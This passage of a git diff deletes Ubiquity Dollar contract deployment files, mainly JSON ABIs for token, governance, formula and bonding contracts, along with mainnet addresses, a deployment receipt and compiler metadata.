"supportsInterface", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "sushiSwapPoolAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "treasuryAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "twapOracleAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "uarCalculatorAddress", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - } - ] - }, - "UbiquityAutoRedeem": { - "address": "0x5894cFEbFdEdBe61d01F20140f41c5c49AedAe97", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "raiseCapital", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - }, - "UbiquityFormulas": { - "address": "0x54F528979A50FA8Fe99E0118EbbEE5fC8Ea802F7", - "abi": [ - { - "inputs": [ - { - "internalType": "uint256", - "name": "_totalULP", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_totalUBOND", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "bondPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "_priceUBOND", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_shares", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_currentShareValue", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "bonding", - "outputs": [ - { - "internalType": "uint256", - "name": "_uBOND", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_multiplier", - "type": "uint256" - } - ], - "name": "durationMultiply", - "outputs": [ - { - "internalType": "uint256", - "name": "_shares", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uBOND", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_currentShareValue", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_targetPrice", - "type": "uint256" - } - ], - "name": "redeemBonds", - "outputs": [ - { - "internalType": "uint256", - "name": "_uLP", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_multiplier", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_price", - "type": "uint256" - } - ], - "name": "ugovMultiply", - "outputs": [ - { - "internalType": "uint256", - "name": "_newMultiplier", - "type": "uint256" - } - ], - "stateMutability": "pure", - "type": "function" - } - ] - }, - "UbiquityGovernance": { - "address": "0x4e38D89362f7e5db0096CE44ebD021c3962aA9a0", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Approval", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_burned", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Burning", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "_minter", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "Minting", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Paused", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": true, - "internalType": "address", - "name": "from", - "type": "address" - }, - { - "indexed": true, - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "value", - "type": "uint256" - } - ], - "name": "Transfer", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "Unpaused", - "type": "event" - }, - { - "inputs": [], - "name": "DOMAIN_SEPARATOR", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "PERMIT_TYPEHASH", - "outputs": [ - { - "internalType": "bytes32", - "name": "", - "type": "bytes32" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - } - ], - "name": "allowance", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "approve", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - } - ], - "name": "balanceOf", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burn", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "account", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "burnFrom", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "decimals", - "outputs": [ - { - "internalType": "uint8", - "name": "", - "type": "uint8" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "subtractedValue", - "type": "uint256" - } - ], - "name": "decreaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "addedValue", - "type": "uint256" - } - ], - "name": "increaseAllowance", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "to", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "mint", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "name", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "name": "nonces", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "pause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "paused", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "owner", - "type": "address" - }, - { - "internalType": "address", - "name": "spender", - "type": "address" - }, - { - "internalType": "uint256", - "name": "value", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "deadline", - "type": "uint256" - }, - { - "internalType": "uint8", - "name": "v", - "type": "uint8" - }, - { - "internalType": "bytes32", - "name": "r", - "type": "bytes32" - }, - { - "internalType": "bytes32", - "name": "s", - "type": "bytes32" - } - ], - "name": "permit", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newName", - "type": "string" - } - ], - "name": "setName", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "string", - "name": "newSymbol", - "type": "string" - } - ], - "name": "setSymbol", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "symbol", - "outputs": [ - { - "internalType": "string", - "name": "", - "type": "string" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "totalSupply", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transfer", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "sender", - "type": "address" - }, - { - "internalType": "address", - "name": "recipient", - "type": "address" - }, - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "transferFrom", - "outputs": [ - { - "internalType": "bool", - "name": "", - "type": "bool" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "unpause", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - } - ] - } - } - } - ], - "31337": [ - { - "name": "hardhat", - "chainId": "31337", - "contracts": {} - } - ] -} \ No newline at end of file diff --git a/packages/contracts/dollar/deployments/mainnet/.chainId b/packages/contracts/dollar/deployments/mainnet/.chainId deleted file mode 100644 index 56a6051ca..000000000 --- a/packages/contracts/dollar/deployments/mainnet/.chainId +++ /dev/null @@ -1 +0,0 @@ -1 \ No newline at end of file diff --git a/packages/contracts/dollar/deployments/mainnet/Bonding.json b/packages/contracts/dollar/deployments/mainnet/Bonding.json deleted file mode 100644 index 0c251856e..000000000 --- a/packages/contracts/dollar/deployments/mainnet/Bonding.json +++ /dev/null @@ -1,746 +0,0 @@ -{ - "address": "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - "abi": [ - { - "inputs": [ - { - "internalType": "address", - "name": "_manager", - "type": "address" - }, - { - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "stateMutability": "nonpayable", - "type": "constructor" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "BlockCountInAWeekUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_blockRonding", - "type": "uint256" - } - ], - "name": "BlockRondingUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "BondingDiscountMultiplierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "indexed": false, - "internalType": "address", - "name": "token", - "type": "address" - }, - { - "indexed": false, - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "DustSent", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_maxBondingPrice", - "type": "uint256" - } - ], - "name": "MaxBondingPriceUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenAdded", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "ProtocolTokenRemoved", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_redeemStreamTime", - "type": "uint256" - } - ], - "name": "RedeemStreamTimeUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "name": "SablierUpdated", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "UGOVPerBlockUpdated", - "type": "event" - }, - { - "inputs": [], - "name": "ETH_ADDRESS", - "outputs": [ - { - "internalType": "address", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "ONE", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "addProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "blockCountInAWeek", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "blockRonding", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "bondingDiscountMultiplier", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "crvPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "currentShareValue", - "outputs": [ - { - "internalType": "uint256", - "name": "priceShare", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "currentTokenPrice", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "data", - "outputs": [ - { - "internalType": "bytes", - "name": "", - "type": "bytes" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_lpsAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_weeks", - "type": "uint256" - } - ], - "name": "deposit", - "outputs": [ - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "manager", - "outputs": [ - { - "internalType": "contract UbiquityAlgorithmicDollarManager", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [], - "name": "redeemStreamTime", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_token", - "type": "address" - } - ], - "name": "removeProtocolToken", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "sablier", - "outputs": [ - { - "internalType": "contract ISablier", - "name": "", - "type": "address" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_to", - "type": "address" - }, - { - "internalType": "address", - "name": "_token", - "type": "address" - }, - { - "internalType": "uint256", - "name": "_amount", - "type": "uint256" - } - ], - "name": "sendDust", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockCountInAWeek", - "type": "uint256" - } - ], - "name": "setBlockCountInAWeek", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_blockRonding", - "type": "uint256" - } - ], - "name": "setBlockRonding", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_bondingDiscountMultiplier", - "type": "uint256" - } - ], - "name": "setBondingDiscountMultiplier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_redeemStreamTime", - "type": "uint256" - } - ], - "name": "setRedeemStreamTime", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "address", - "name": "_sablier", - "type": "address" - } - ], - "name": "setSablier", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_uGOVPerBlock", - "type": "uint256" - } - ], - "name": "setUGOVPerBlock", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "amount", - "type": "uint256" - } - ], - "name": "uADPriceReset", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "inputs": [], - "name": "uGOVPerBlock", - "outputs": [ - { - "internalType": "uint256", - "name": "", - "type": "uint256" - } - ], - "stateMutability": "view", - "type": "function" - }, - { - "inputs": [ - { - "internalType": "uint256", - "name": "_sharesAmount", - "type": "uint256" - }, - { - "internalType": "uint256", - "name": "_id", - "type": "uint256" - } - ], - "name": "withdraw", - "outputs": [], - "stateMutability": "nonpayable", - "type": "function" - }, - { - "stateMutability": "payable", - "type": "receive" - } - ], - "transactionHash": "0x778c57a0f6655fd4b89ba0fdca6fe1621c015f7d343969f29afe6f34d2354b14", - "receipt": { - "to": null, - "from": "0xefC0e701A824943b469a694aC564Aa1efF7Ab7dd", - "contractAddress": "0x831e3674Abc73d7A3e9d8a9400AF2301c32cEF0C", - "transactionIndex": 78, - "gasUsed": "3402657", - "logsBloom": "0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000", - "blockHash": "0x677bfc82f9cdd82c61fe1165d2f3c75aa323f1cdc99816117dbf0ae526934646", - "transactionHash": "0x778c57a0f6655fd4b89ba0fdca6fe1621c015f7d343969f29afe6f34d2354b14", - "logs": [], - "blockNumber": 12595544, - "cumulativeGasUsed": "10134978", - "status": 1, - "byzantium": true - }, - "args": ["0x4DA97a8b831C345dBe6d16FF7432DF2b7b776d98", "0x0000000000000000000000000000000000000000"], - "solcInputHash": "718dfe5f2e9bb98c22443f71ab0527e0", - "metadata": "{\"compiler\":{\"version\":\"0.8.3+commit.8d00100c\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_manager\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"_sablier\",\"type\":\"address\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_blockCountInAWeek\",\"type\":\"uint256\"}],\"name\":\"BlockCountInAWeekUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_blockRonding\",\"type\":\"uint256\"}],\"name\":\"BlockRondingUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_bondingDiscountMultiplier\",\"type\":\"uint256\"}],\"name\":\"BondingDiscountMultiplierUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"token\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"DustSent\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_maxBondingPrice\",\"type\":\"uint256\"}],\"name\":\"MaxBondingPriceUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"ProtocolTokenAdded\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"ProtocolTokenRemoved\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_redeemStreamTime\",\"type\":\"uint256\"}],\"name\":\"RedeemStreamTimeUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"_sablier\",\"type\":\"address\"}],\"name\":\"SablierUpdated\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"_uGOVPerBlock\",\"type\":\"uint256\"}],\"name\":\"UGOVPerBlockUpdated\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"ETH_ADDRESS\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"ONE\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_token\",\"type\":\"address\"}],\"name\":\"addProtocolToken\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"blockCountInAWeek\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"blockRonding\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"bondingDiscountMultiplier\",\"outputs\":[{\"internalType